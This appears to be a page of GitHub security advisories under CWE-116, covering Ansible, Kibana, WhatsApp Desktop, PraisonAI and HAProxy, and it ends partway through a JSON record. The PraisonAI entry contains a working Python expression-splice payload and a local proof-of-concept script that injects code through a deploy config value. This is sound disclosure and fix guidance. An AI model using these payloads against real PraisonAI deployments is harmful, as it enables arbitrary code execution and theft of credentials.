Common Weakness Enumeration

CWE-116

Allowed-with-Review

Improper Encoding or Escaping of Output

Abstraction: Class · Status: Draft

The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.

767 vulnerabilities reference this CWE, most recent first.

GHSA-785X-QW4V-6872

Vulnerability from github – Published: 2022-02-09 22:00 – Updated: 2024-09-05 00:44

Summary

Improper Output Neutralization and Improper Encoding or Escaping of Output for Logs in ansible

Details

An Improper Output Neutralization for Logs flaw was found in Ansible when using the uri module, where sensitive data is exposed to content and json output. This flaw allows an attacker to access the logs or outputs of performed tasks to read keys used in playbooks from other users within the uri module. The highest threat from this vulnerability is to data confidentiality.

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

6.8 (Medium)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ansible"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-14330"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-117",
      "CWE-532"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-05T16:14:01Z",
    "nvd_published_at": "2020-09-11T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An Improper Output Neutralization for Logs flaw was found in Ansible when using the uri module, where sensitive data is exposed to content and json output. This flaw allows an attacker to access the logs or outputs of performed tasks to read keys used in playbooks from other users within the uri module. The highest threat from this vulnerability is to data confidentiality.",
  "id": "GHSA-785x-qw4v-6872",
  "modified": "2024-09-05T00:44:53Z",
  "published": "2022-02-09T22:00:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-14330"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ansible/ansible/issues/68400"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ansible/ansible/pull/69653"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ansible/ansible/commit/e0f25a2b1f9e6c21f751ba0ed2dc2eee2152983e"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-14330"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-785x-qw4v-6872"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ansible/ansible"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-3.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2021/dsa-4950"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Improper Output Neutralization and Improper Encoding or Escaping of Output for Logs in ansible"
}

GHSA-787J-GGJH-RHM6

Vulnerability from github – Published: 2026-07-01 18:31 – Updated: 2026-07-01 18:31

Details

Improper Output Neutralization for Logs (CWE-117) in Kibana can lead to log injection via Log Injection-Tampering-Forging (CAPEC-93). An attacker can supply specially crafted input that is written to log files without proper neutralization. When the log files are subsequently viewed in a terminal that interprets control sequences, the injected content may alter the displayed log data.

Severity

8.0 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2026-49091"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-01T18:16:34Z",
    "severity": "HIGH"
  },
  "details": "Improper Output Neutralization for Logs (CWE-117) in Kibana can lead to log injection via Log Injection-Tampering-Forging (CAPEC-93). An attacker can supply specially crafted input that is written to log files without proper neutralization. When the log files are subsequently viewed in a terminal that interprets control sequences, the injected content may alter the displayed log data.",
  "id": "GHSA-787j-ggjh-rhm6",
  "modified": "2026-07-01T18:31:56Z",
  "published": "2026-07-01T18:31:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49091"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/kibana-7-17-15-8-11-1-security-update-esa-2026-53"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-78R4-4FJF-6PHV

Vulnerability from github – Published: 2022-05-24 16:50 – Updated: 2024-04-04 01:17

Details

An input validation issue affected WhatsApp Desktop versions prior to 0.3.3793 which allows malicious clients to send files to users that would be displayed with a wrong extension.

Severity

5.3 (Medium)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2019-3571"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-20"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-07-16T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An input validation issue affected WhatsApp Desktop versions prior to 0.3.3793 which allows malicious clients to send files to users that would be displayed with a wrong extension.",
  "id": "GHSA-78r4-4fjf-6phv",
  "modified": "2024-04-04T01:17:17Z",
  "published": "2022-05-24T16:50:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3571"
    },
    {
      "type": "WEB",
      "url": "https://www.facebook.com/security/advisories/cve-2019-3571"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-79FV-7HQ9-W7XG

Vulnerability from github – Published: 2026-10-08 19:36 – Updated: 2026-10-08 19:36

Summary

PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source

Details

API deploy code generator embeds unescaped YAML fields into Python source

Summary

PraisonAI's API deployment generator copies deploy.api.host from agents.yaml directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds agents_file directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.

Technical Details

The vulnerable path starts with deployment configuration parsing. Deploy.from_yaml() reads the operator-supplied agents.yaml, validate_agents_yaml() accepts deploy.api.host as a string, and API deployments call start_api_server(self.agents_file, self.config.api). start_api_server() calls generate_api_server_code() and executes the generated Python file with python.

The current generator in src/praisonai/praisonai/deploy/api.py treats deployment data as Python syntax:

def generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str:
    ...
    code = f'''"""
...
        praisonai = PraisonAI(agent_file="{agents_file}")
...
        "agent_file": "{agents_file}"
...
    app.run(
        host='{config.host}',
        port={config.port},
        debug={config.reload}
    )
'''

The violated invariant is that deployment configuration values should remain inert strings. Instead, config.host is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:

' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '

The generated startup code then becomes equivalent to:

app.run(
    host='' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '',
    port=8005,
    debug=False,
)

That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.

agents_file has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as " + (<side effect> and "") + " remains valid both in PraisonAI(agent_file=...) and in the /agents JSON response expression, so it executes when the generated handler evaluates that value.

PoV

The following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as __main__; it also includes a safe-host negative control and the secondary agents_file route-time interpolation check.

from pathlib import Path
import json
import sys
import tempfile
import types

import yaml


def install_stubs():
    class FakeApp:
        def __init__(self, name):
            self.name = name

        def route(self, *args, **kwargs):
            def deco(func):
                return func

            return deco

        def run(self, *args, **kwargs):
            return None

    flask = types.ModuleType("flask")
    flask.Flask = FakeApp
    flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {"message": "hello"})
    flask.jsonify = lambda obj: obj
    sys.modules["flask"] = flask

    flask_cors = types.ModuleType("flask_cors")
    flask_cors.CORS = lambda app: app
    sys.modules["flask_cors"] = flask_cors

    praisonai_mod = types.ModuleType("praisonai")

    class FakePraisonAI:
        def __init__(self, agent_file):
            self.agent_file = agent_file

        def run(self):
            return "ok"

    praisonai_mod.PraisonAI = FakePraisonAI
    sys.modules["praisonai"] = praisonai_mod


def main(repo):
    sys.path.insert(0, str(Path(repo) / "src" / "praisonai"))
    from praisonai.deploy.api import generate_api_server_code
    from praisonai.deploy.models import APIConfig
    from praisonai.deploy.schema import validate_agents_yaml

    install_stubs()

    with tempfile.TemporaryDirectory() as tmp:
        tmp_path = Path(tmp)
        host_marker = tmp_path / "host-marker.txt"
        file_marker = tmp_path / "agent-file-marker.txt"
        host_payload = "' + (__import__(\"pathlib\").Path(" + repr(str(host_marker)) + ").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '"
        agents_yaml = tmp_path / "agents.yaml"
        agents_yaml.write_text(yaml.safe_dump({
            "deploy": {
                "type": "api",
                "api": {"host": host_payload, "port": 8005, "auth_enabled": False},
            },
            "agents": [{"name": "demo", "role": "demo", "goal": "demo"}],
        }))
        parsed_config = validate_agents_yaml(str(agents_yaml))

        results = []
        for label, config in [
            ("safe_host", APIConfig(host="127.0.0.1", auth_enabled=False)),
            ("malicious_host_from_yaml", parsed_config.api),
        ]:
            host_marker.unlink(missing_ok=True)
            code = generate_api_server_code("agents.yaml", config)
            compile(code, f"<generated-{label}>", "exec")
            exec(code, {"__name__": "__main__"})
            results.append({
                "case": label,
                "compiled": True,
                "host_preserved_by_yaml_parser": config.host == host_payload if label.startswith("malicious") else None,
                "marker_exists_after_startup": host_marker.exists(),
                "marker_contents": host_marker.read_text() if host_marker.exists() else None,
                "generated_contains_raw_host": config.host in code,
            })

        file_payload = "\" + (__import__(\"pathlib\").Path(" + repr(str(file_marker)) + ").write_text(\"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\") and \"\") + \""
        file_marker.unlink(missing_ok=True)
        code = generate_api_server_code(file_payload, APIConfig(host="127.0.0.1", auth_enabled=False))
        compile(code, "<generated-agent-file>", "exec")
        namespace = {"__name__": "generated_agent_file"}
        exec(code, namespace)
        namespace["list_agents"]()
        results.append({
            "case": "malicious_agent_file_route_value",
            "compiled": True,
            "marker_exists_after_list_agents": file_marker.exists(),
            "marker_contents": file_marker.read_text() if file_marker.exists() else None,
            "generated_contains_raw_agent_file": file_payload in code,
        })

    print(json.dumps(results, indent=2))
    return 0 if results[1]["marker_exists_after_startup"] and results[2]["marker_exists_after_list_agents"] else 1


if __name__ == "__main__":
    raise SystemExit(main(sys.argv[1] if len(sys.argv) > 1 else "."))

PoC

Command used against current source:

uv run --with pydantic --with pyyaml python pov_deploy_api_config_injection.py /path/to/PraisonAI

Decisive output:

[
  {
    "case": "safe_host",
    "compiled": true,
    "host_preserved_by_yaml_parser": null,
    "marker_exists_after_startup": false,
    "marker_contents": null,
    "generated_contains_raw_host": true
  },
  {
    "case": "malicious_host_from_yaml",
    "compiled": true,
    "host_preserved_by_yaml_parser": true,
    "marker_exists_after_startup": true,
    "marker_contents": "DEPLOY_API_HOST_CODE_EXECUTED",
    "generated_contains_raw_host": true
  },
  {
    "case": "malicious_agent_file_route_value",
    "compiled": true,
    "marker_exists_after_list_agents": true,
    "marker_contents": "DEPLOY_API_AGENT_FILE_CODE_EXECUTED",
    "generated_contains_raw_agent_file": true
  }
]

The safe_host negative control compiles and evaluates the generated module without a marker side effect. The malicious_host_from_yaml case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The malicious_agent_file_route_value case proves the secondary file-path interpolation executes when the generated /agents handler evaluates the generated response.

Impact

If an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator's environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source.

Suggested Fix

Do not interpolate deployment values directly into generated Python source. Use repr() or json.dumps() for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace host='{config.host}' with a safely encoded literal such as host={config.host!r}, and apply the same safe encoding to agents_file in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings.

Affected Package/Versions

Package: praisonai

Confirmed current head: 1620b49f36945d8cc8ee5635b906c960df5097a0

Static sweep:

Target	Result
`v4.5.128`	affected; raw `agents_file` and `config.host` interpolation present
`v4.6.58`	affected; raw `agents_file` and `config.host` interpolation present
`v4.6.59`	affected; raw `agents_file` and `config.host` interpolation present
`v4.6.60`	affected; raw `agents_file` and `config.host` interpolation present
`v4.6.62`	affected; raw `agents_file` and `config.host` interpolation present
`v4.6.63`	affected; raw `agents_file` and `config.host` interpolation present
current `1620b49f`	affected; raw `agents_file` and `config.host` interpolation present

Suggested severity: High

Suggested CVSS v3.1:

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Suggested CWEs:

CWE-94: Improper Control of Generation of Code
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code
CWE-116: Improper Encoding or Escaping of Output

Advisory History

The closest same-generator comparator is GHSA-8444-4fhq-fxpq, "PraisonAI deploy --type api emits a Flask server with authentication disabled by default." That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because generate_api_server_code() emits deployment strings as Python syntax. The exploit primitive is generated-source injection from deploy.api.host and agents_file, not unauthenticated request access to the generated API.

This is also distinct from GHSA-6rmh-7xcm-cpxj / CVE-2026-44338, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in generate_api_server_code().

AgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report's root cause is unsafe code generation before the server handles traffic.

References

src/praisonai/praisonai/deploy/api.py: generate_api_server_code() and start_api_server()
src/praisonai/praisonai/deploy/main.py: Deploy.from_yaml() and API/Docker deployment paths
src/praisonai/praisonai/cli/features/deploy.py: CLI deployment handler
GHSA-8444-4fhq-fxpq: prior praisonai deploy --type api generated API server authentication-default issue
GHSA-6rmh-7xcm-cpxj / CVE-2026-44338: prior generated API server authentication issue
CWE-94: https://cwe.mitre.org/data/definitions/94.html
CWE-95: https://cwe.mitre.org/data/definitions/95.html
CWE-116: https://cwe.mitre.org/data/definitions/116.html

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.77"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61433"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T19:36:29Z",
    "nvd_published_at": "2026-07-15T17:16:52Z",
    "severity": "HIGH"
  },
  "details": "# API deploy code generator embeds unescaped YAML fields into Python source\n\n## Summary\n\nPraisonAI\u0027s API deployment generator copies `deploy.api.host` from `agents.yaml` directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds `agents_file` directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.\n\n## Technical Details\n\nThe vulnerable path starts with deployment configuration parsing. `Deploy.from_yaml()` reads the operator-supplied `agents.yaml`, `validate_agents_yaml()` accepts `deploy.api.host` as a string, and API deployments call `start_api_server(self.agents_file, self.config.api)`. `start_api_server()` calls `generate_api_server_code()` and executes the generated Python file with `python`.\n\nThe current generator in `src/praisonai/praisonai/deploy/api.py` treats deployment data as Python syntax:\n\n```python\ndef generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -\u003e str:\n    ...\n    code = f\u0027\u0027\u0027\"\"\"\n...\n        praisonai = PraisonAI(agent_file=\"{agents_file}\")\n...\n        \"agent_file\": \"{agents_file}\"\n...\n    app.run(\n        host=\u0027{config.host}\u0027,\n        port={config.port},\n        debug={config.reload}\n    )\n\u0027\u0027\u0027\n```\n\nThe violated invariant is that deployment configuration values should remain inert strings. Instead, `config.host` is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:\n\n```text\n\u0027 + (__import__(\"pathlib\").Path(\"poc.txt\").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + \u0027\n```\n\nThe generated startup code then becomes equivalent to:\n\n```python\napp.run(\n    host=\u0027\u0027 + (__import__(\"pathlib\").Path(\"poc.txt\").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + \u0027\u0027,\n    port=8005,\n    debug=False,\n)\n```\n\nThat expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.\n\n`agents_file` has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as `\" + (\u003cside effect\u003e and \"\") + \"` remains valid both in `PraisonAI(agent_file=...)` and in the `/agents` JSON response expression, so it executes when the generated handler evaluates that value.\n\n## PoV\n\nThe following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as `__main__`; it also includes a safe-host negative control and the secondary `agents_file` route-time interpolation check.\n\n```python\nfrom pathlib import Path\nimport json\nimport sys\nimport tempfile\nimport types\n\nimport yaml\n\n\ndef install_stubs():\n    class FakeApp:\n        def __init__(self, name):\n            self.name = name\n\n        def route(self, *args, **kwargs):\n            def deco(func):\n                return func\n\n            return deco\n\n        def run(self, *args, **kwargs):\n            return None\n\n    flask = types.ModuleType(\"flask\")\n    flask.Flask = FakeApp\n    flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {\"message\": \"hello\"})\n    flask.jsonify = lambda obj: obj\n    sys.modules[\"flask\"] = flask\n\n    flask_cors = types.ModuleType(\"flask_cors\")\n    flask_cors.CORS = lambda app: app\n    sys.modules[\"flask_cors\"] = flask_cors\n\n    praisonai_mod = types.ModuleType(\"praisonai\")\n\n    class FakePraisonAI:\n        def __init__(self, agent_file):\n            self.agent_file = agent_file\n\n        def run(self):\n            return \"ok\"\n\n    praisonai_mod.PraisonAI = FakePraisonAI\n    sys.modules[\"praisonai\"] = praisonai_mod\n\n\ndef main(repo):\n    sys.path.insert(0, str(Path(repo) / \"src\" / \"praisonai\"))\n    from praisonai.deploy.api import generate_api_server_code\n    from praisonai.deploy.models import APIConfig\n    from praisonai.deploy.schema import validate_agents_yaml\n\n    install_stubs()\n\n    with tempfile.TemporaryDirectory() as tmp:\n        tmp_path = Path(tmp)\n        host_marker = tmp_path / \"host-marker.txt\"\n        file_marker = tmp_path / \"agent-file-marker.txt\"\n        host_payload = \"\u0027 + (__import__(\\\"pathlib\\\").Path(\" + repr(str(host_marker)) + \").write_text(\\\"DEPLOY_API_HOST_CODE_EXECUTED\\\") and \\\"\\\") + \u0027\"\n        agents_yaml = tmp_path / \"agents.yaml\"\n        agents_yaml.write_text(yaml.safe_dump({\n            \"deploy\": {\n                \"type\": \"api\",\n                \"api\": {\"host\": host_payload, \"port\": 8005, \"auth_enabled\": False},\n            },\n            \"agents\": [{\"name\": \"demo\", \"role\": \"demo\", \"goal\": \"demo\"}],\n        }))\n        parsed_config = validate_agents_yaml(str(agents_yaml))\n\n        results = []\n        for label, config in [\n            (\"safe_host\", APIConfig(host=\"127.0.0.1\", auth_enabled=False)),\n            (\"malicious_host_from_yaml\", parsed_config.api),\n        ]:\n            host_marker.unlink(missing_ok=True)\n            code = generate_api_server_code(\"agents.yaml\", config)\n            compile(code, f\"\u003cgenerated-{label}\u003e\", \"exec\")\n            exec(code, {\"__name__\": \"__main__\"})\n            results.append({\n                \"case\": label,\n                \"compiled\": True,\n                \"host_preserved_by_yaml_parser\": config.host == host_payload if label.startswith(\"malicious\") else None,\n                \"marker_exists_after_startup\": host_marker.exists(),\n                \"marker_contents\": host_marker.read_text() if host_marker.exists() else None,\n                \"generated_contains_raw_host\": config.host in code,\n            })\n\n        file_payload = \"\\\" + (__import__(\\\"pathlib\\\").Path(\" + repr(str(file_marker)) + \").write_text(\\\"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\\\") and \\\"\\\") + \\\"\"\n        file_marker.unlink(missing_ok=True)\n        code = generate_api_server_code(file_payload, APIConfig(host=\"127.0.0.1\", auth_enabled=False))\n        compile(code, \"\u003cgenerated-agent-file\u003e\", \"exec\")\n        namespace = {\"__name__\": \"generated_agent_file\"}\n        exec(code, namespace)\n        namespace[\"list_agents\"]()\n        results.append({\n            \"case\": \"malicious_agent_file_route_value\",\n            \"compiled\": True,\n            \"marker_exists_after_list_agents\": file_marker.exists(),\n            \"marker_contents\": file_marker.read_text() if file_marker.exists() else None,\n            \"generated_contains_raw_agent_file\": file_payload in code,\n        })\n\n    print(json.dumps(results, indent=2))\n    return 0 if results[1][\"marker_exists_after_startup\"] and results[2][\"marker_exists_after_list_agents\"] else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main(sys.argv[1] if len(sys.argv) \u003e 1 else \".\"))\n```\n\n## PoC\n\nCommand used against current source:\n\n```sh\nuv run --with pydantic --with pyyaml python pov_deploy_api_config_injection.py /path/to/PraisonAI\n```\n\nDecisive output:\n\n```json\n[\n  {\n    \"case\": \"safe_host\",\n    \"compiled\": true,\n    \"host_preserved_by_yaml_parser\": null,\n    \"marker_exists_after_startup\": false,\n    \"marker_contents\": null,\n    \"generated_contains_raw_host\": true\n  },\n  {\n    \"case\": \"malicious_host_from_yaml\",\n    \"compiled\": true,\n    \"host_preserved_by_yaml_parser\": true,\n    \"marker_exists_after_startup\": true,\n    \"marker_contents\": \"DEPLOY_API_HOST_CODE_EXECUTED\",\n    \"generated_contains_raw_host\": true\n  },\n  {\n    \"case\": \"malicious_agent_file_route_value\",\n    \"compiled\": true,\n    \"marker_exists_after_list_agents\": true,\n    \"marker_contents\": \"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\",\n    \"generated_contains_raw_agent_file\": true\n  }\n]\n```\n\nThe `safe_host` negative control compiles and evaluates the generated module without a marker side effect. The `malicious_host_from_yaml` case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The `malicious_agent_file_route_value` case proves the secondary file-path interpolation executes when the generated `/agents` handler evaluates the generated response.\n\n## Impact\n\nIf an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator\u0027s environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source.\n\n## Suggested Fix\n\nDo not interpolate deployment values directly into generated Python source. Use `repr()` or `json.dumps()` for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace `host=\u0027{config.host}\u0027` with a safely encoded literal such as `host={config.host!r}`, and apply the same safe encoding to `agents_file` in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings.\n\n## Affected Package/Versions\n\nPackage: `praisonai`\n\nConfirmed current head: `1620b49f36945d8cc8ee5635b906c960df5097a0`\n\nStatic sweep:\n\n| Target | Result |\n| --- | --- |\n| `v4.5.128` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.58` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.59` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.60` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.62` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.63` | affected; raw `agents_file` and `config.host` interpolation present |\n| current `1620b49f` | affected; raw `agents_file` and `config.host` interpolation present |\n\nSuggested severity: High\n\nSuggested CVSS v3.1:\n\n```text\nCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\n```\n\nSuggested CWEs:\n\n- CWE-94: Improper Control of Generation of Code\n- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code\n- CWE-116: Improper Encoding or Escaping of Output\n\n## Advisory History\n\nThe closest same-generator comparator is `GHSA-8444-4fhq-fxpq`, \"PraisonAI deploy --type api emits a Flask server with authentication disabled by default.\" That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because `generate_api_server_code()` emits deployment strings as Python syntax. The exploit primitive is generated-source injection from `deploy.api.host` and `agents_file`, not unauthenticated request access to the generated API.\n\nThis is also distinct from `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in `generate_api_server_code()`.\n\nAgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report\u0027s root cause is unsafe code generation before the server handles traffic.\n\n## References\n\n- `src/praisonai/praisonai/deploy/api.py`: `generate_api_server_code()` and `start_api_server()`\n- `src/praisonai/praisonai/deploy/main.py`: `Deploy.from_yaml()` and API/Docker deployment paths\n- `src/praisonai/praisonai/cli/features/deploy.py`: CLI deployment handler\n- `GHSA-8444-4fhq-fxpq`: prior `praisonai deploy --type api` generated API server authentication-default issue\n- `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`: prior generated API server authentication issue\n- CWE-94: https://cwe.mitre.org/data/definitions/94.html\n- CWE-95: https://cwe.mitre.org/data/definitions/95.html\n- CWE-116: https://cwe.mitre.org/data/definitions/116.html",
  "id": "GHSA-79fv-7hq9-w7xg",
  "modified": "2026-10-08T19:36:29Z",
  "published": "2026-10-08T19:36:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-79fv-7hq9-w7xg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61433"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62173"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-before-code-injection-via-api-deployment-generator"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source"
}

GHSA-79Q7-M98P-QVHP

Vulnerability from github – Published: 2023-11-28 21:30 – Updated: 2023-12-04 21:30

Details

HAProxy before 2.8.2 accepts # as part of the URI component, which might allow remote attackers to obtain sensitive information or have unspecified other impact upon misinterpretation of a path_end rule, such as routing index.html#.png to a static server.

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2023-45539"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-28T20:15:07Z",
    "severity": "HIGH"
  },
  "details": "HAProxy before 2.8.2 accepts # as part of the URI component, which might allow remote attackers to obtain sensitive information or have unspecified other impact upon misinterpretation of a path_end rule, such as routing index.html#.png to a static server.",
  "id": "GHSA-79q7-m98p-qvhp",
  "modified": "2023-12-04T21:30:52Z",
  "published": "2023-11-28T21:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45539"
    },
    {
      "type": "WEB",
      "url": "https://git.haproxy.org/?p=haproxy.git%3Ba=commit%3Bh=2eab6d354322932cfec2ed54de261e4347eca9a6"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/12/msg00010.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.w3.org/Archives/Public/ietf-http-wg/2023JulSep/0070.html"
    },
    {
      "type": "WEB",
      "url": "https://www.mail-archive.com/haproxy%40formilux.org/msg43861.html"
    }
  ],
